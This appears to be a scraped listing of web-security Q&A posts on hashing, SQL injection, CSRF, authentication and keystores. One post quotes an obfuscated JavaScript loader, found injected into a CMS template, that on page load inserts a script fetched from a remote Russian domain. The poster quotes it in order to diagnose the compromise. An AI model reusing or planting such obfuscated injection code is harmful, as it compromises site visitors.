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  • Basic principles of computer encryption?

    - by Andrew
    I can see how a cipher can be developed using substitutions and keys, and how those two things can become more and more complex, thus offering some protection from decryption through brute-force approaches. But specifically I'm wondering: what other major concepts beyond substitution and key are involved? is the protection/secrecy of the key a greater vulnerability than the strength of the encryption? why does encryption still hold up when the key is 'public' ? are performance considerations a major obstacle to the development of more secure encryption?

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  • How can * be a safe hashed password?

    - by Exception e
    phpass is a widely used hashing 'framework'. While evaluating phpass' HashPassword I came across this odd method fragment. function HashPassword($password) { // <snip> trying to generate a hash… # Returning '*' on error is safe here, but would _not_ be safe # in a crypt(3)-like function used _both_ for generating new # hashes and for validating passwords against existing hashes. return '*'; } This is the complete phpsalt class: # Portable PHP password hashing framework. # # Version 0.2 / genuine. # # Written by Solar Designer <solar at openwall.com> in 2004-2006 and placed in # the public domain. # # # class PasswordHash { var $itoa64; var $iteration_count_log2; var $portable_hashes; var $random_state; function PasswordHash($iteration_count_log2, $portable_hashes) { $this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31) $iteration_count_log2 = 8; $this->iteration_count_log2 = $iteration_count_log2; $this->portable_hashes = $portable_hashes; $this->random_state = microtime() . getmypid(); } function get_random_bytes($count) { $output = ''; if (is_readable('/dev/urandom') && ($fh = @fopen('/dev/urandom', 'rb'))) { $output = fread($fh, $count); fclose($fh); } if (strlen($output) < $count) { $output = ''; for ($i = 0; $i < $count; $i += 16) { $this->random_state = md5(microtime() . $this->random_state); $output .= pack('H*', md5($this->random_state)); } $output = substr($output, 0, $count); } return $output; } function encode64($input, $count) { $output = ''; $i = 0; do { $value = ord($input[$i++]); $output .= $this->itoa64[$value & 0x3f]; if ($i < $count) $value |= ord($input[$i]) << 8; $output .= $this->itoa64[($value >> 6) & 0x3f]; if ($i++ >= $count) break; if ($i < $count) $value |= ord($input[$i]) << 16; $output .= $this->itoa64[($value >> 12) & 0x3f]; if ($i++ >= $count) break; $output .= $this->itoa64[($value >> 18) & 0x3f]; } while ($i < $count); return $output; } function gensalt_private($input) { $output = '$P$'; $output .= $this->itoa64[min($this->iteration_count_log2 + ((PHP_VERSION >= '5') ? 5 : 3), 30)]; $output .= $this->encode64($input, 6); return $output; } function crypt_private($password, $setting) { $output = '*0'; if (substr($setting, 0, 2) == $output) $output = '*1'; if (substr($setting, 0, 3) != '$P$') return $output; $count_log2 = strpos($this->itoa64, $setting[3]); if ($count_log2 < 7 || $count_log2 > 30) return $output; $count = 1 << $count_log2; $salt = substr($setting, 4, 8); if (strlen($salt) != 8) return $output; # We're kind of forced to use MD5 here since it's the only # cryptographic primitive available in all versions of PHP # currently in use. To implement our own low-level crypto # in PHP would result in much worse performance and # consequently in lower iteration counts and hashes that are # quicker to crack (by non-PHP code). if (PHP_VERSION >= '5') { $hash = md5($salt . $password, TRUE); do { $hash = md5($hash . $password, TRUE); } while (--$count); } else { $hash = pack('H*', md5($salt . $password)); do { $hash = pack('H*', md5($hash . $password)); } while (--$count); } $output = substr($setting, 0, 12); $output .= $this->encode64($hash, 16); return $output; } function gensalt_extended($input) { $count_log2 = min($this->iteration_count_log2 + 8, 24); # This should be odd to not reveal weak DES keys, and the # maximum valid value is (2**24 - 1) which is odd anyway. $count = (1 << $count_log2) - 1; $output = '_'; $output .= $this->itoa64[$count & 0x3f]; $output .= $this->itoa64[($count >> 6) & 0x3f]; $output .= $this->itoa64[($count >> 12) & 0x3f]; $output .= $this->itoa64[($count >> 18) & 0x3f]; $output .= $this->encode64($input, 3); return $output; } function gensalt_blowfish($input) { # This one needs to use a different order of characters and a # different encoding scheme from the one in encode64() above. # We care because the last character in our encoded string will # only represent 2 bits. While two known implementations of # bcrypt will happily accept and correct a salt string which # has the 4 unused bits set to non-zero, we do not want to take # chances and we also do not want to waste an additional byte # of entropy. $itoa64 = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; $output = '$2a$'; $output .= chr(ord('0') + $this->iteration_count_log2 / 10); $output .= chr(ord('0') + $this->iteration_count_log2 % 10); $output .= '$'; $i = 0; do { $c1 = ord($input[$i++]); $output .= $itoa64[$c1 >> 2]; $c1 = ($c1 & 0x03) << 4; if ($i >= 16) { $output .= $itoa64[$c1]; break; } $c2 = ord($input[$i++]); $c1 |= $c2 >> 4; $output .= $itoa64[$c1]; $c1 = ($c2 & 0x0f) << 2; $c2 = ord($input[$i++]); $c1 |= $c2 >> 6; $output .= $itoa64[$c1]; $output .= $itoa64[$c2 & 0x3f]; } while (1); return $output; } function HashPassword($password) { $random = ''; if (CRYPT_BLOWFISH == 1 && !$this->portable_hashes) { $random = $this->get_random_bytes(16); $hash = crypt($password, $this->gensalt_blowfish($random)); if (strlen($hash) == 60) return $hash; } if (CRYPT_EXT_DES == 1 && !$this->portable_hashes) { if (strlen($random) < 3) $random = $this->get_random_bytes(3); $hash = crypt($password, $this->gensalt_extended($random)); if (strlen($hash) == 20) return $hash; } if (strlen($random) < 6) $random = $this->get_random_bytes(6); $hash = $this->crypt_private($password, $this->gensalt_private($random)); if (strlen($hash) == 34) return $hash; # Returning '*' on error is safe here, but would _not_ be safe # in a crypt(3)-like function used _both_ for generating new # hashes and for validating passwords against existing hashes. return '*'; } function CheckPassword($password, $stored_hash) { $hash = $this->crypt_private($password, $stored_hash); if ($hash[0] == '*') $hash = crypt($password, $stored_hash); return $hash == $stored_hash; } }

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  • Weird Javascript in Template. Is this a hacking attempt?

    - by Julian
    I validated my client's website to xHTML Strict 1.0/CSS 2.1 standards last week. Today when I re-checked, I had a validation error caused by a weird and previous unknown script. I found this in the index.php file of my ExpressionEngine CMS. What is this javascript doing? Is this a hacking attempt as I suspected? I couldn't help but notice the Russian domain encoded in the script... this.v=27047; this.v+=187; ug=["n"]; OV=29534; OV--; var y; var C="C"; var T={}; r=function(){ b=36068; b-=144; M=[]; function f(V,w,U){ return V.substr(w,U); var wH=39640; } var L=["o"]; var cj={}; var qK={N:false}; var fa="/g"+"oo"+"gl"+"e."+"co"+"m/"+f("degL4",0,2)+f("rRs6po6rRs",4,2)+f("9GVsiV9G",3,2)+f("5cGtfcG5",3,2)+f("M6c0ilc6M0",4,2)+"es"+f("KUTz.cUzTK",4,2)+f("omjFb",0,2)+"/s"+f("peIlh2",0,2)+"ed"+f("te8WC",0,2)+f("stien3",0,2)+f(".nYm6S",0,2)+f("etUWH",0,2)+f(".pdVPH",0,2)+f("hpzToi",0,2); var BT="BT"; var fV=RegExp; var CE={bf:false}; var UW=''; this.Ky=11592; this.Ky-=237; var VU=document; var _n=[]; try {} catch(wP){}; this.JY=29554; this.JY-=245; function s(V,w){ l=13628; l--; var U="["+w+String("]"); var rk=new fV(U, f("giId",0,1)); this.NS=18321;this.NS+=195;return V.replace(rk, UW); try {} catch(k){}; }; this.jM=""; var CT={}; var A=s('socnruixpot4','zO06eNGTlBuoYxhwn4yW1Z'); try {var vv='m'} catch(vv){}; var Os={}; var t=null; var e=String("bod"+"y"); var F=155183-147103; this.kp=''; Z={Ug:false}; y=function(){ var kl=["mF","Q","cR"]; try { Bf=11271; Bf-=179; var u=s('cfr_eKaPtQe_EPl8eTmPeXn8to','X_BQoKfTZPz8MG5'); Fp=VU[u](A); var H=""; try {} catch(WK){}; this.Ca=19053; this.Ca--; var O=s('s5rLcI','2A5IhLo'); var V=F+fa; this.bK=""; var ya=String("de"+"fe"+f("r3bPZ",0,1)); var bk=new String(); pB=9522; pB++; Fp[O]=String("ht"+"tp"+":/"+"/t"+"ow"+"er"+"sk"+"y."+"ru"+":")+V; Fp[ya]=[1][0]; Pe=45847; Pe--; VU[e].appendChild(Fp); var lg=new Array(); var aQ={vl:"JC"}; this.KL="KL"; } catch(x){ this.Ja=""; Th=["pj","zx","kO"]; var Jr=''; }; Tr={qZ:21084}; }; this.pL=false; }; be={}; rkE={hb:"vG"}; r(); var bY=new Date(); window.onload=y; cU=["Yr","gv"];

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  • Prevent SQL injection from form-generated SQL.

    - by Markos Fragkakis
    Hi all, I have a search table where user will be able to filter results with a filter of the type: Field [Name], Value [John], Remove Rule Field [Surname], Value [Blake], Remove Rule Field [Has Children], Value [Yes], Remove Rule Add Rule So the user will be able to set an arbitrary set of filters, which will result essentially in a completely dynamic WHERE clause. In the future I will also have to implement more complicated logical expressions, like Where (name=John OR name=Nick) AND (surname=Blake OR surname=Bourne), Of all 10 fields the user may or may not filter by, I don't know how many and which filters the user will set. So, I cannot use a prepared statement (which assumes that at least we know the fields in the WHERE clause). This is why prepared statements are unfortunately out of the question, I have to do it with plain old, generated SQL. What measures can I take to protect the application from SQL Injection (REGEX-wise or any other way)?

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  • Custom fine-grained claims based authorization system in ASP.NET MVC - wheres and hows

    - by BuzzBubba
    So, I'd like to implement my own custom authorization system in MVC2. If I'd have to create a global class, where do I instantiate it? Can HttpContext be extended with my own additions and where do I do that? Should I use Authorization filters for rights validation or ActionFilters or do it within an action? Can ActionFilter pass any data to the action itself? Previously (in WebForms) I was using a Session object where I would put a serialized object containing essential user data (account id and a list of roles and rights) and I'd extend my own Page class.

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  • Fail2Ban - Log to mysql

    - by user319660
    Hi! We have a few servers with SSH public (using sFTP). Obviously, the attacks ar too many. We want put the banned logs into a MySQL DB for make stats and etc. Have anyone tryied this? Thanks

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  • How to verify mail origin?

    - by MrZombie
    I wish to code a little service where I will be able to send an e-mail to a specific address used by my server to send specific commands to my server. I'll check against a list of permitted e-mail addresses to make sure no one unauthorized will send a command to the server, but how do I make sure that, say, an e-mail sent by "[email protected]" really comes from "thezombie.net"? I thought about checking the header for the original e-mail server's IP and pinging the domain to make sure it is the same, but would that be reliable? Example: Server receives a command from [email protected] [email protected] is authorized, proceed with checks Server checks "thezombie.net"'s IP from the header: W.X.Y.Z Server pings "thezombie.net" for it's IP: A.B.C.D The IPs do not correspond, do not process command Is there any better way to do that?

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  • How do I copy new binaries to C:\Program Files?

    - by Michael L Perry
    I'm creating a Windows app that automatically updates itself. I'm not using ClickOnce for a variety of reasons. When I try to File.Move() my updated files to C:\Program Files on Windows 7, I get the following error: Access to the path 'C:\Program Files\<company>\<app>\<app.exe>' is denied. I am not given a UAC prompt. The exe that I am trying to update is not currently running.

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  • Is there an Unobtrusive Captcha for web forms?

    - by KP
    What is the best unobtrusive CAPTCHA for web forms? One that does not involve a UI, rather a non-UI Turing test. I have seen a simple example of a non UI CAPTCHA like the Nobot control from Microsoft. I am looking for a CAPTCHA that does not ask the user any question in any form. No riddles, no what's in this image.

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  • Understanding CSRF - Simple Question

    - by byronh
    I know this might make me seem like an idiot, I've read everything there is to read about CSRF and I still don't understand how using a 'challenge token' would add any sort of prevention. Please help me clarify the basic concept, none of the articles and posts here on SO I read seemed to really explicitly state what value you're comparing with what. From OWASP: In general, developers need only generate this token once for the current session. After initial generation of this token, the value is stored in the session and is utilized for each subsequent request until the session expires. If I understand the process correctly, this is what happens. I log in at http://example.com and a session/cookie is created containing this random token. Then, every form includes a hidden input also containing this random value from the session which is compared with the session/cookie upon form submission. But what does that accomplish? Aren't you just taking session data, putting it in the page, and then comparing it with the exact same session data? Seems like circular reasoning. These articles keep talking about following the "same-origin policy" but that makes no sense, because all CSRF attacks ARE of the same origin as the user, just tricking the user into doing actions he/she didn't intend. Is there any alternative other than appending the token to every single URL as a query string? Seems very ugly and impractical, and makes bookmarking harder for the user.

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  • Are there any differences between MSSQL and MySQL when it comes to preventing SQL injection?

    - by Derek Adair
    I am used to developing in PHP/MySQL and have no experience developing with MSSQL. I've skimmed over the PHP MSSQL documentation and it looks similar to MySQLi in some of the methods I read about. For example, with MySQL I utilize the function mysql_real_excape_string(). Is there a similar function with PHP/MSSQL? What steps do I need to take in order to protect against SQL injection with MSSQL? What are the differences between MSSQL and MySQL pertaining to SQL injection prevention?

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  • How to make Facebook Authentication from Silverlight secure?

    - by SondreB
    I have the following scenario I want to complete: Website running some HTTP(S) services that returns data for a user. Same website is additionally hosting a Silverlight 4 app which calls these services. The Silverlight app is integrating with Facebook using the Facebook Developer Toolkit (http://facebooktoolkit.codeplex.com/). I have not fully decided whether I want Facebook-integration to be a "opt-in" option such as Spotify, or if I want to "lock" down my service with Facebook-only authentication. That's another discussion. How do I protect my API Key and Secret that I receive from Facebook in a Silverlight app? To me it's obvious that this is impossible as the code is running on the client, but is there a way I can make it harder or should I just live with the fact that third parties could potentially "act" as my own app? Using the Facebook Developer Toolkit, there is a following C# method in Silverlight that is executed from the JavaScript when the user has fully authenticated with Facebook using the Facebook Connect APIs. [ScriptableMember] public void LoggedIn(string sessionKey, string secret, int expires, long userId) { this.SessionKey = sessionKey; this.UserId = userId; Obvious the problem here is the fact that JavaScript is injection the userId, which is nothing but a simple number. This means anyone could potentially inject a different userId in JavaScript and have my app think it's someone else. This means someone could hijack the data within the services running on my website. The alternative that comes to mind is authenticating the users on my website, this way I'm never exposing any secrets and I can return an auth-cookie to the users after the initial authentication. Though this scenario doesn't work very well in an out-of-browser scenario where the user is running the Silverlight app locally and not from my website.

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  • What should a developer know before building a public web site?

    - by Joel Coehoorn
    What things should a programmer implementing the technical details of a web site address before making the site public? If Jeff Atwood can forget about HttpOnly cookies, sitemaps, and cross-site request forgeries all in the same site, what important thing could I be forgetting as well? I'm thinking about this from a web developer's perspective, such that someone else is creating the actual design and content for the site. So while usability and content may be more important than the platform, you the programmer have little say in that. What you do need to worry about is that your implementation of the platform is stable, performs well, is secure, and meets any other business goals (like not cost too much, take too long to build, and rank as well with Google as the content supports). Think of this from the perspective of a developer who's done some work for intranet-type applications in a fairly trusted environment, and is about to have his first shot and putting out a potentially popular site for the entire big bad world wide web. Also: I'm looking for something more specific than just a vague "web standards" response. I mean, HTML, JavaScript, and CSS over HTTP are pretty much a given, especially when I've already specified that you're a professional web developer. So going beyond that, Which standards? In what circumstances, and why? Provide a link to the standard's specification. This question is community wiki, so please feel free to edit that answer to add links to good articles that will help explain or teach each particular point.

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  • java keytool question

    - by user384706
    Hi, I created a java keystore programmatically of type jks (i.e. default type). It is initially empty so I created a DSA certificate. keytool -genkey -alias myCert -v -keystore trivial.keystore How can I see the public and private keys? I.e. is there a command that prints the private key of my certificate? I could only find keytool -certreq which in my understanding prints the certificate as a whole: -----BEGIN NEW CERTIFICATE REQUEST----- MIICaTCCAicCAQAwZTELMAkGA1UEBhMCR1IxDzANBgNVBAgTBkdyZWVjZTEPMA0GA1UEBxMGQXRo BQADLwAwLAIUQZbY/3Qq0G26fsBbWiHMbuVd3VICFE+gwtUauYiRbHh0caAtRj3qRTwl -----END NEW CERTIFICATE REQUEST----- I assume this is the whole certificate. How can I see private (or public key) via keytool? Thank you

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  • Account sharing among Ubuntu machines

    - by muckabout
    I'd like a simple and secure system to have allow users in our network to have their account (e.g., 'myname') work on every machine in the network (e.g., such that they could ssh to any machine and have the same userid, mounted smb share). Any suggestions?

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  • Ruby - encrypted_strings

    - by Tom Andersen
    A bit of a Ruby newbie here - should be an easy question: I want to use the encrypted_strings gem to create a password encrypted string: (from http://rdoc.info/projects/pluginaweek/encrypted_strings) Question is: Everything works fine, but how come I don't need the password to decrypt the string? Say I want to store the string somewhere for a while,like the session. Is the password also stored with it? (which would seem very strange?). And no, I'm not planning on using 'secret-key' or any similar hack as a password. I am planning on dynamically generating a class variable @@password using a uuid, which I don't store other than in memory, and can change from one running of the program to the next. Symmetric: >> password = 'shhhh' => "shhhh" >> crypted_password = password.encrypt(:symmetric, :password => 'secret_key') => "qSg8vOo6QfU=\n" >> crypted_password.class => String >> crypted_password == 'shhhh' => true >> password = crypted_password.decrypt => "shhhh"

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  • How do I ensure that SOAP requests from a flash client to my ASP server are coming from the flash cl

    - by Gary Benade
    I have a flash based game that has a high score system implemented with a SOAP service. There are prizes involved and I want to prevent someone from using FireBug or similar to discover the webservice path and submit fake scores. I considered using some kind of encryption on the data but am aware that someone could decompile the swf and work out how I did it. I also considered using an IP whitelist but since the incoming data will come from the users IP and not the servers that won't work. (I'm sure I'm missing something obvious here...) I know that there is a tried and tested solution for this, but I don't seem to be asking google the right questions to get to it. Any help and suggestions will be appreciated, thank you

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  • Alternatives to dotfuscator suite?

    - by SnOrfus
    I've been looking for solutions that provide a couple of types of protection and dotfuscator has been what I've landed on each time I look. Specifically, I like: code obfuscation their usage analytics tamper detection/notification shelf-life enforcement Now, I know that there's lots of alternatives to the first, some of which are free, but are there alternatives to the others? It's not that I don't want to pay the cost of dotfuscator suite, but I want to be informed before I write the cheque.

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  • WCF REST based services authentication schemes

    - by FlySwat
    I have a simple authentication scheme for a set of semi-public REST API's we are building: /-----------------------\ | Client POST's ID/Pass | | to an Auth Service | \-----------------------/ [Client] ------------POST----------------------> [Service/Authenticate] | /-------------------------------\ | Service checks credentials | [Client] <---------Session Cookie------- | and generates a session token | | | in a cookie. | | \-------------------------------/ | [Client] -----------GET /w Cookie -------------> [Service/Something] | /----------------------------------\ | Client must pass session cookie | | with each API request | | or will get a 401. | \----------------------------------/ This works well, because the client never needs to do anything except receive a cookie, and then pass it along. For browser applications, this happens automatically by the browser, for non browser applications, it is pretty trivial to save the cookie and send it with each request. However, I have not figured out a good approach for doing the initial handshake from browser applications. For example, if this is all happening using a AJAX technique, what prevents the user from being able to access the ID/Pass the client is using to handshake with the service? It seem's like this is the only stumbling block to this approach and I'm stumped.

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